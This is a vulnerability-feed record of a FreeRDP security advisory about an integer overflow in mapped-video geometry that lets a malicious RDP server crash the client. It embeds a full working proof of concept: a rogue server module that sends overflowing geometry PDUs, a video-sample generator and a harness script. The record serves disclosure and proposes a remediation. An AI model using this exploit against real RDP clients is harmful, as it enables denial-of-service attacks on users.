{"schema":"threatline.record/2","record":{"id":"GHSA-96rv-gf42-7wq9","aliases":["GHSA-96rv-gf42-7wq9"],"summary":"Positive mapped-video coordinates overflow and abort FreeRDP clients","details":"A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video redirection enabled. The geometry and video channels accept individually non-negative mapped coordinates, but `video_onMappedGeometryUpdate` adds the two signed positions before converting the result with `WINPR_ASSERTING_INT_CAST(uint32_t, ...)`. Two positive coordinates can overflow the signed addition and cause `winpr_int_assert` to abort the client.\r\n\r\nThe issue was reproduced over a real TLS/RDP connection using the production geometry, video-control, and video-data DVCs and an unmodified `xfreerdp` client. A safe-coordinate control remained connected. The otherwise identical overflowing update terminated the client with `SIGABRT` at `video_onMappedGeometryUpdate`.\r\n\r\nThe trigger requires the user to connect to the malicious or compromised server with `/video` enabled. The demonstrated impact is denial of service only. This submission does not claim memory corruption, confidentiality or integrity impact, or code execution.\r\n\r\nPublic PR #13407 is related hardening but not an exact fix: it rejects individually negative or inverted geometry values and does not check whether two positive positions overflow when added. The trigger remains present on current master.\r\n\r\n### Reproduction\r\n\r\nThe sibling `poc/` directory contains a bounded source-only replay. With a matching FreeRDP source/build tree and an active X display, run:\r\n\r\n```sh\r\n./poc/run.sh ../FreeRDP ../FreeRDP-build :99 47580\r\n```\r\n\r\nObserved result:\r\n\r\n```text\r\ncontrol PASS client_alive=1\r\nattack PASS client_alive=0\r\nPASS: safe geometry remains connected; overflowing geometry aborts the client.\r\n```\r\n\r\n### Suggested remediation\r\n\r\nAdd the already validated non-negative operands in a wider unsigned type, reject any combined position outside the destination coordinate or desktop bounds, and only then narrow it. Apply the check at presentation creation and mapped-geometry update. Add wire-level regression cases for horizontal and vertical overflow.\r\n\r\n## Proof of Concept files\r\n\r\nEvery file shipped in the sibling `poc/` directory is embedded byte-for-byte below.\r\n\r\nBEGIN FILE: poc/make_h264.c\r\n```c\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\n#include <libavcodec/avcodec.h>\r\n#include <libavutil/opt.h>\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 2)\r\n\t\treturn 2;\r\n\r\n\tconst AVCodec* codec = avcodec_find_encoder_by_name(\"libx264\");\r\n\tif (!codec)\r\n\t\tcodec = avcodec_find_encoder(AV_CODEC_ID_H264);\r\n\tif (!codec)\r\n\t\treturn 3;\r\n\r\n\tAVCodecContext* ctx = avcodec_alloc_context3(codec);\r\n\tAVFrame* frame = av_frame_alloc();\r\n\tAVPacket* packet = av_packet_alloc();\r\n\tif (!ctx || !frame || !packet)\r\n\t\treturn 4;\r\n\r\n\t/* FreeRDP pads a requested 16x100 video surface to 48x128. */\r\n\tctx->width = 48;\r\n\tctx->height = 128;\r\n\tctx->pix_fmt = AV_PIX_FMT_YUV420P;\r\n\tctx->time_base = (AVRational){ 1, 25 };\r\n\tctx->framerate = (AVRational){ 25, 1 };\r\n\tctx->gop_size = 1;\r\n\tctx->max_b_frames = 0;\r\n\tctx->thread_count = 1;\r\n\t(void)av_opt_set(ctx->priv_data, \"preset\", \"ultrafast\", 0);\r\n\t(void)av_opt_set(ctx->priv_data, \"tune\", \"zerolatency\", 0);\r\n\r\n\tif (avcodec_open2(ctx, codec, NULL) < 0)\r\n\t\treturn 5;\r\n\r\n\tframe->format = ctx->pix_fmt;\r\n\tframe->width = ctx->width;\r\n\tframe->height = ctx->height;\r\n\tframe->pts = 0;\r\n\tif (av_frame_get_buffer(frame, 32) < 0 || av_frame_make_writable(frame) < 0)\r\n\t\treturn 6;\r\n\r\n\tfor (int y = 0; y < ctx->height; y++)\r\n\t\tfor (int x = 0; x < ctx->width; x++)\r\n\t\t\tframe->data[0][y * frame->linesize[0] + x] = (unsigned char)(32 + ((x + y) & 127));\r\n\tfor (int y = 0; y < ctx->height / 2; y++)\r\n\t\tfor (int x = 0; x < ctx->width / 2; x++)\r\n\t\t{\r\n\t\t\tframe->data[1][y * frame->linesize[1] + x] = 96;\r\n\t\t\tframe->data[2][y * frame->linesize[2] + x] = 160;\r\n\t\t}\r\n\r\n\tif (avcodec_send_frame(ctx, frame) < 0)\r\n\t\treturn 7;\r\n\tif (avcodec_receive_packet(ctx, packet) < 0)\r\n\t\treturn 8;\r\n\r\n\tFILE* fp = fopen(argv[1], \"wb\");\r\n\tif (!fp)\r\n\t\treturn 9;\r\n\tconst size_t written = fwrite(packet->data, 1, (size_t)packet->size, fp);\r\n\tfclose(fp);\r\n\tprintf(\"generated Annex-B H.264: %d bytes, 48x128\\n\", packet->size);\r\n\r\n\tav_packet_free(&packet);\r\n\tav_frame_free(&frame);\r\n\tavcodec_free_context(&ctx);\r\n\treturn written > 0 ? 0 : 10;\r\n}\r\n```\r\nEND FILE: poc/make_h264.c\r\n\r\nBEGIN FILE: poc/rogue_video.c\r\n```c\r\n#define _GNU_SOURCE\r\n\r\n#include <errno.h>\r\n#include <pthread.h>\r\n#include <stdint.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n\r\n#include <winpr/wtsapi.h>\r\n#include <freerdp/channels/geometry.h>\r\n#include <freerdp/channels/video.h>\r\n#include <freerdp/channels/wtsvc.h>\r\n\r\n#define MAPPING_ID UINT64_C(0x1122334455667788)\r\n\r\nstatic void put16(unsigned char* p, uint16_t v)\r\n{\r\n\tp[0] = (unsigned char)v;\r\n\tp[1] = (unsigned char)(v >> 8);\r\n}\r\n\r\nstatic void put32(unsigned char* p, uint32_t v)\r\n{\r\n\tp[0] = (unsigned char)v;\r\n\tp[1] = (unsigned char)(v >> 8);\r\n\tp[2] = (unsigned char)(v >> 16);\r\n\tp[3] = (unsigned char)(v >> 24);\r\n}\r\n\r\nstatic void put64(unsigned char* p, uint64_t v)\r\n{\r\n\tput32(p, (uint32_t)v);\r\n\tput32(p + 4, (uint32_t)(v >> 32));\r\n}\r\n\r\nstatic int write_all(HANDLE channel, const void* data, size_t size, const char* label)\r\n{\r\n\tULONG written = 0;\r\n\tif (!WTSVirtualChannelWrite(channel, (PCHAR)data, (ULONG)size, &written) || written != size)\r\n\t{\r\n\t\tfprintf(stderr, \"E2E write failed: %s size=%zu written=%lu error=%lu\\n\", label, size,\r\n\t\t        (unsigned long)written, (unsigned long)GetLastError());\r\n\t\treturn 0;\r\n\t}\r\n\tfprintf(stderr, \"E2E sent %s: %zu bytes\\n\", label, size);\r\n\treturn 1;\r\n}\r\n\r\nstatic int channel_ready(HANDLE channel)\r\n{\r\n\tfor (unsigned int attempt = 0; attempt < 100; attempt++)\r\n\t{\r\n\t\tPVOID out = NULL;\r\n\t\tDWORD size = 0;\r\n\t\tif (WTSVirtualChannelQuery(channel, WTSVirtualChannelReady, &out, &size))\r\n\t\t{\r\n\t\t\tconst BOOL ready = out && size >= sizeof(BOOL) && *(BOOL*)out;\r\n\t\t\tWTSFreeMemory(out);\r\n\t\t\tif (ready)\r\n\t\t\t\treturn 1;\r\n\t\t}\r\n\t\tusleep(50000);\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nstatic int send_geometry(HANDLE channel, int wrapped)\r\n{\r\n\tunsigned char pdu[72] = { 0 };\r\n\tsize_t p = 0;\r\n\tput32(&pdu[p], sizeof(pdu)); p += 4;\r\n\tput32(&pdu[p], 1); p += 4;\r\n\tput64(&pdu[p], MAPPING_ID); p += 8;\r\n\tput32(&pdu[p], GEOMETRY_UPDATE); p += 4;\r\n\tput32(&pdu[p], 0); p += 4;\r\n\tput64(&pdu[p], 1); p += 8;\r\n\r\n\tput32(&pdu[p], 0); p += 4;\r\n\tput32(&pdu[p], wrapped ? UINT32_C(0x7fffff9d) : 0); p += 4;\r\n\tput32(&pdu[p], 16); p += 4;\r\n\tput32(&pdu[p], wrapped ? UINT32_C(0x7fffff9d) : 100); p += 4;\r\n\r\n\tput32(&pdu[p], 0); p += 4;\r\n\tput32(&pdu[p], wrapped ? UINT32_C(0x7fffffff) : 0); p += 4;\r\n\tput32(&pdu[p], 16); p += 4;\r\n\tput32(&pdu[p], wrapped ? UINT32_C(0x7fffffff) : 100); p += 4;\r\n\tput32(&pdu[p], 2); p += 4;\r\n\tput32(&pdu[p], 0); p += 4;\r\n\r\n\treturn p == sizeof(pdu) && write_all(channel, pdu, sizeof(pdu), wrapped ? \"wrapped geometry\" : \"safe geometry\");\r\n}\r\n\r\nstatic int send_presentation(HANDLE channel)\r\n{\r\n\tstatic const unsigned char h264_guid[16] = {\r\n\t\t'H', '2', '6', '4', 0x00, 0x00, 0x10, 0x00,\r\n\t\t0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71\r\n\t};\r\n\tunsigned char pdu[68] = { 0 };\r\n\tsize_t p = 0;\r\n\tput32(&pdu[p], sizeof(pdu)); p += 4;\r\n\tput32(&pdu[p], TSMM_PACKET_TYPE_PRESENTATION_REQUEST); p += 4;\r\n\tpdu[p++] = 1;\r\n\tpdu[p++] = 1;\r\n\tpdu[p++] = TSMM_START_PRESENTATION;\r\n\tpdu[p++] = 25;\r\n\tput16(&pdu[p], 0); p += 2;\r\n\tput16(&pdu[p], 0); p += 2;\r\n\tput32(&pdu[p], 16); p += 4;\r\n\tput32(&pdu[p], 100); p += 4;\r\n\tput32(&pdu[p], 16); p += 4;\r\n\tput32(&pdu[p], 100); p += 4;\r\n\tput64(&pdu[p], 0); p += 8;\r\n\tput64(&pdu[p], MAPPING_ID); p += 8;\r\n\tmemcpy(&pdu[p], h264_guid, sizeof(h264_guid)); p += sizeof(h264_guid);\r\n\tput32(&pdu[p], 0); p += 4;\r\n\treturn p == sizeof(pdu) && write_all(channel, pdu, sizeof(pdu), \"start presentation\");\r\n}\r\n\r\nstatic int send_frame(HANDLE channel, const unsigned char* sample, size_t sample_size,\r\n                      uint32_t sample_number)\r\n{\r\n\tconst size_t total = 40 + sample_size;\r\n\tif (total > UINT32_MAX)\r\n\t\treturn 0;\r\n\tunsigned char* pdu = calloc(1, total);\r\n\tif (!pdu)\r\n\t\treturn 0;\r\n\tsize_t p = 0;\r\n\tput32(&pdu[p], (uint32_t)total); p += 4;\r\n\tput32(&pdu[p], TSMM_PACKET_TYPE_VIDEO_DATA); p += 4;\r\n\tpdu[p++] = 1;\r\n\tpdu[p++] = 1;\r\n\tpdu[p++] = TSMM_VIDEO_DATA_FLAG_KEYFRAME;\r\n\tpdu[p++] = 0;\r\n\tput64(&pdu[p], 0); p += 8;\r\n\tput64(&pdu[p], 0); p += 8;\r\n\tput16(&pdu[p], 1); p += 2;\r\n\tput16(&pdu[p], 1); p += 2;\r\n\tput32(&pdu[p], sample_number); p += 4;\r\n\tput32(&pdu[p], (uint32_t)sample_size); p += 4;\r\n\tmemcpy(&pdu[p], sample, sample_size);\r\n\tconst int rc = write_all(channel, pdu, total, sample_number == 1 ? \"H.264 frame 1\" : \"H.264 frame 2\");\r\n\tfree(pdu);\r\n\treturn rc;\r\n}\r\n\r\nstatic unsigned char* read_file(const char* path, size_t* size)\r\n{\r\n\tFILE* fp = fopen(path, \"rb\");\r\n\tif (!fp)\r\n\t\treturn NULL;\r\n\tif (fseek(fp, 0, SEEK_END) != 0)\r\n\t\treturn NULL;\r\n\tconst long length = ftell(fp);\r\n\tif (length <= 0 || fseek(fp, 0, SEEK_SET) != 0)\r\n\t\treturn NULL;\r\n\tunsigned char* data = malloc((size_t)length);\r\n\tif (!data)\r\n\t\treturn NULL;\r\n\tif (fread(data, 1, (size_t)length, fp) != (size_t)length)\r\n\t{\r\n\t\tfree(data);\r\n\t\treturn NULL;\r\n\t}\r\n\tfclose(fp);\r\n\t*size = (size_t)length;\r\n\treturn data;\r\n}\r\n\r\nstatic void* sender(void* unused)\r\n{\r\n\t(void)unused;\r\n\t/* Let shadow complete its own WTS initialization before opening server DVCs. */\r\n\tsleep(2);\r\n\tconst char* sample_path = getenv(\"VIDEO_E2E_SAMPLE\");\r\n\tconst char* mode = getenv(\"VIDEO_E2E_MODE\");\r\n\tconst DWORD session = getenv(\"VIDEO_E2E_SESSION\") ? (DWORD)strtoul(getenv(\"VIDEO_E2E_SESSION\"), NULL, 10) : 1;\r\n\tif (!sample_path)\r\n\t{\r\n\t\tfprintf(stderr, \"E2E missing VIDEO_E2E_SAMPLE\\n\");\r\n\t\treturn NULL;\r\n\t}\r\n\r\n\tsize_t sample_size = 0;\r\n\tunsigned char* sample = read_file(sample_path, &sample_size);\r\n\tif (!sample)\r\n\t{\r\n\t\tfprintf(stderr, \"E2E failed to read H.264 sample: %s\\n\", sample_path);\r\n\t\treturn NULL;\r\n\t}\r\n\r\n\tHANDLE geometry = NULL;\r\n\tfor (unsigned int attempt = 0; attempt < 120 && !geometry; attempt++)\r\n\t{\r\n\t\tgeometry = WTSVirtualChannelOpenEx(session, GEOMETRY_DVC_CHANNEL_NAME,\r\n\t\t                                   WTS_CHANNEL_OPTION_DYNAMIC);\r\n\t\tif (!geometry)\r\n\t\t\tusleep(100000);\r\n\t}\r\n\tif (!geometry)\r\n\t{\r\n\t\tfprintf(stderr, \"E2E geometry open failed: error=%lu\\n\", (unsigned long)GetLastError());\r\n\t\tfree(sample);\r\n\t\treturn NULL;\r\n\t}\r\n\r\n\tHANDLE control = WTSVirtualChannelOpenEx(session, VIDEO_CONTROL_DVC_CHANNEL_NAME,\r\n\t                                         WTS_CHANNEL_OPTION_DYNAMIC);\r\n\tHANDLE data = WTSVirtualChannelOpenEx(session, VIDEO_DATA_DVC_CHANNEL_NAME,\r\n\t                                      WTS_CHANNEL_OPTION_DYNAMIC);\r\n\tif (!control || !data || !channel_ready(geometry) || !channel_ready(control) ||\r\n\t    !channel_ready(data))\r\n\t{\r\n\t\tfprintf(stderr, \"E2E channel readiness failed: geometry=%p control=%p data=%p error=%lu\\n\",\r\n\t\t        geometry, control, data, (unsigned long)GetLastError());\r\n\t\tfree(sample);\r\n\t\treturn NULL;\r\n\t}\r\n\tfprintf(stderr, \"E2E all three DVCs ready; mode=%s sample=%zu bytes\\n\",\r\n\t        mode ? mode : \"control\", sample_size);\r\n\r\n\tif (!send_geometry(geometry, 0) || !send_presentation(control))\r\n\t\tgoto out;\r\n\tusleep(300000);\r\n\tif (!send_frame(data, sample, sample_size, 1))\r\n\t\tgoto out;\r\n\tsleep(2);\r\n\tif (!send_geometry(geometry, mode && strcmp(mode, \"attack\") == 0))\r\n\t\tgoto out;\r\n\tusleep(200000);\r\n\t(void)send_frame(data, sample, sample_size, 2);\r\n\tfprintf(stderr, \"E2E sequence complete\\n\");\r\n\r\nout:\r\n\tfree(sample);\r\n\treturn NULL;\r\n}\r\n\r\n__attribute__((constructor)) static void start_sender(void)\r\n{\r\n\tpthread_t thread;\r\n\tif (pthread_create(&thread, NULL, sender, NULL) == 0)\r\n\t\t(void)pthread_detach(thread);\r\n}\r\n```\r\nEND FILE: poc/rogue_video.c\r\n\r\nBEGIN FILE: poc/run.sh\r\n```bash\r\n#!/usr/bin/env bash\r\nset -euo pipefail\r\n\r\nif (( $# < 3 || $# > 4 )); then\r\n\techo \"usage: $0 FREERDP_SOURCE FREERDP_BUILD DISPLAY [BASE_PORT]\" >&2\r\n\texit 2\r\nfi\r\n\r\nS=$(cd \"$1\" && pwd)\r\nB=$(cd \"$2\" && pwd)\r\ndisplay=$3\r\nbase_port=${4:-47580}\r\nP=$(cd \"$(dirname \"$0\")\" && pwd)\r\nwork_root=${POC_WORK_ROOT:-${XDG_CACHE_HOME:-$HOME/.cache}}\r\nmkdir -p \"$work_root\"\r\nW=$(mktemp -d \"$work_root/freerdp-video-geometry.XXXXXX\")\r\nsp= cp=\r\n\r\ncleanup()\r\n{\r\n\tfor pid in ${cp:-} ${sp:-}; do\r\n\t\tkill \"$pid\" 2>/dev/null || true\r\n\tdone\r\n\tif [[ ${KEEP_WORK:-0} != 1 ]]; then\r\n\t\trm -rf \"$W\"\r\n\tfi\r\n}\r\ntrap cleanup EXIT HUP INT TERM\r\n\r\nLIB=$(find \"$B\" \"$(dirname \"$B\")/deps\" -type f -name '*.so.*' -printf '%h\\n' 2>/dev/null |\r\n\tsort -u | paste -sd: -)\r\nexport LD_LIBRARY_PATH=$LIB\r\nexport PKG_CONFIG_PATH=\"$(dirname \"$B\")/deps/usr/lib/x86_64-linux-gnu/pkgconfig${PKG_CONFIG_PATH:+:$PKG_CONFIG_PATH}\"\r\n\r\ncc -O2 \"$P/make_h264.c\" -o \"$W/make_h264\" \\\r\n\t$(pkg-config --cflags --libs libavcodec libavutil) >\"$W/build.log\" 2>&1\r\ncc -shared -fPIC -O2 -I\"$S/include\" -I\"$S/winpr/include\" -I\"$B/include\" \\\r\n\t-I\"$B/winpr/include\" \"$P/rogue_video.c\" -o \"$W/rogue_video.so\" \\\r\n\t-L\"$B/winpr/libwinpr\" -lwinpr3 -lpthread >>\"$W/build.log\" 2>&1\r\n\"$W/make_h264\" \"$W/sample.h264\" >\"$W/generator.log\" 2>&1\r\n\r\nasan_preload=\r\nif ldd \"$B/client/X11/xfreerdp\" 2>/dev/null | grep -q 'libasan'; then\r\n\tasan_preload=$(cc -print-file-name=libasan.so)\r\nfi\r\n\r\nrun_case()\r\n{\r\n\tlocal mode=$1 port=$2 alive=0\r\n\tlocal preload=\"$W/rogue_video.so\"\r\n\tif [[ -n \"$asan_preload\" ]]; then\r\n\t\tpreload=\"$asan_preload:$preload\"\r\n\tfi\r\n\r\n\tmkdir -p \"$W/$mode/home\"\r\n\tHOME=\"$W/$mode/home\" DISPLAY=$display VIDEO_E2E_MODE=$mode \\\r\n\t\tVIDEO_E2E_SAMPLE=\"$W/sample.h264\" LD_PRELOAD=\"$preload\" \\\r\n\t\tASAN_OPTIONS=detect_leaks=0 \\\r\n\t\t\"$B/server/shadow/cli/freerdp-shadow-cli\" /port:\"$port\" /sec:tls \\\r\n\t\t-auth -may-view -may-interact /log-level:DEBUG \\\r\n\t\t>\"$W/$mode.server.out\" 2>\"$W/$mode.server.err\" &\r\n\tsp=$!\r\n\tsleep 1\r\n\r\n\tDISPLAY=$display LD_PRELOAD=\"$asan_preload\" ASAN_OPTIONS=detect_leaks=0 \\\r\n\t\t\"$B/client/X11/xfreerdp\" /v:127.0.0.1:\"$port\" /u:alice \\\r\n\t\t/p:demonstration-only /cert:ignore /sec:tls /video /gdi:sw \\\r\n\t\t/size:1024x768 /log-level:DEBUG \\\r\n\t\t>\"$W/$mode.client.out\" 2>\"$W/$mode.client.err\" &\r\n\tcp=$!\r\n\r\n\tfor _ in $(seq 1 100); do\r\n\t\tkill -0 \"$cp\" 2>/dev/null || break\r\n\t\tgrep -q 'E2E sequence complete' \"$W/$mode.server.err\" 2>/dev/null && break\r\n\t\tsleep .1\r\n\tdone\r\n\tsleep 1\r\n\tkill -0 \"$cp\" 2>/dev/null && alive=1\r\n\r\n\tgrep -q 'E2E all three DVCs ready' \"$W/$mode.server.err\"\r\n\tgrep -q 'E2E sent start presentation' \"$W/$mode.server.err\"\r\n\tgrep -q 'E2E sent H.264 frame 1' \"$W/$mode.server.err\"\r\n\tgrep -q 'areRectsValid.*outside of bounding frame' \"$W/$mode.client.err\"\r\n\r\n\tif [[ \"$mode\" == control ]]; then\r\n\t\t[[ \"$alive\" == 1 ]]\r\n\t\tgrep -q 'E2E sent safe geometry' \"$W/$mode.server.err\"\r\n\t\t! grep -q 'winpr_int_assert\\|Caught signal.*Aborted' \"$W/$mode.client.err\"\r\n\telse\r\n\t\t[[ \"$alive\" == 0 ]]\r\n\t\tgrep -q 'E2E sent wrapped geometry' \"$W/$mode.server.err\"\r\n\t\tgrep -q 'video_onMappedGeometryUpdate' \"$W/$mode.client.err\"\r\n\t\tgrep -q 'winpr_int_assert' \"$W/$mode.client.err\"\r\n\t\tgrep -q \"Caught signal 'Aborted'\" \"$W/$mode.client.err\"\r\n\tfi\r\n\r\n\tkill \"$cp\" 2>/dev/null || true\r\n\twait \"$cp\" 2>/dev/null || true\r\n\tcp=\r\n\tkill \"$sp\" 2>/dev/null || true\r\n\twait \"$sp\" 2>/dev/null || true\r\n\tsp=\r\n\tprintf '%s PASS client_alive=%s\\n' \"$mode\" \"$alive\"\r\n}\r\n\r\nrun_case control \"$base_port\"\r\nrun_case attack \"$((base_port + 1))\"\r\necho 'PASS: safe geometry remains connected; overflowing geometry aborts the client.'\r\n```\r\nEND FILE: poc/run.sh\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-96rv-gf42-7wq9","source_modified_at":"2026-09-29T08:42:32Z","fetched_at":"2026-10-25T01:05:06.841276Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.11.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-96rv-gf42-7wq9","source_modified_at":"2026-09-29T08:42:32Z","fetched_at":"2026-10-25T01:05:06.841276Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T08:42:32Z","modified_at":"2026-09-29T08:42:32Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-96rv-gf42-7wq9","fetched_at":"2026-10-25T01:05:06.841276Z","source_modified_at":"2026-09-29T08:42:32Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T08:42:32Z","content_hash":"bb636b13c153f56ecbb14a81fe34bb5b0c2c7c4e9f4f8f5c7f7e44efb726aaf1"}}
